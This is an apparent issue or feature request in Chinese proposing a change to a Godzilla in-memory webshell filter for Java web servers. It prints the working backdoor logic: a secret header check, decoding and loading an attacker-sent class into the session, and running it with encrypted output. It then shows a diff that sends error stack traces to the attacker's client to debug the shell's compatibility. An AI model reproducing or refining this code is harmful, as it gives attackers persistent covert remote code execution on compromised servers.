[优化]哥斯拉马回显运行错误日志

[ReaJason]

目前哥斯拉马，在运行前运行错误不会回显任何日志，例如 session 拿不到，无法通过响应得知

try {
    if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
        HttpSession session = request.getSession();
        byte[] data = base64Decode(request.getParameter(pass));
        data = this.x(data, false);
        Object cache = session.getAttribute(key);
        if (cache == null) {
            session.setAttribute(key, (new GodzillaFilter(Thread.currentThread().getContextClassLoader())).Q(data));
        } else {
            ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
            Object f = ((Class<?>) cache).newInstance();
            f.equals(arrOut);
            f.equals(request);
            f.equals(data);
            f.toString();
            response.getWriter().write(md5.substring(0, 16));
            response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
            response.getWriter().write(md5.substring(16));
        }
        return;
    }
} catch (Throwable e) {
    e.printStackTrace();
}

改为如下，将运行错误的日志，直接对接 response.getWriter() 传到客户端，这样能识别内存马的兼容性问题。

try {
    if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
+        try {
            HttpSession session = request.getSession();
            byte[] data = base64Decode(request.getParameter(pass));
            data = this.x(data, false);
            Object cache = session.getAttribute(key);
            if (cache == null) {
                session.setAttribute(key, (new GodzillaFilter(Thread.currentThread().getContextClassLoader())).Q(data));
            } else {
                ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
                Object f = ((Class<?>) cache).newInstance();
                f.equals(arrOut);
                f.equals(request);
                f.equals(data);
                f.toString();
                response.getWriter().write(md5.substring(0, 16));
                response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
                response.getWriter().write(md5.substring(16));
            }
            return;
+        }catch (Throwable e) {
+            e.printStackTrace(response.getWriter());
+        }
    }
} catch (Throwable e) {
    e.printStackTrace();
}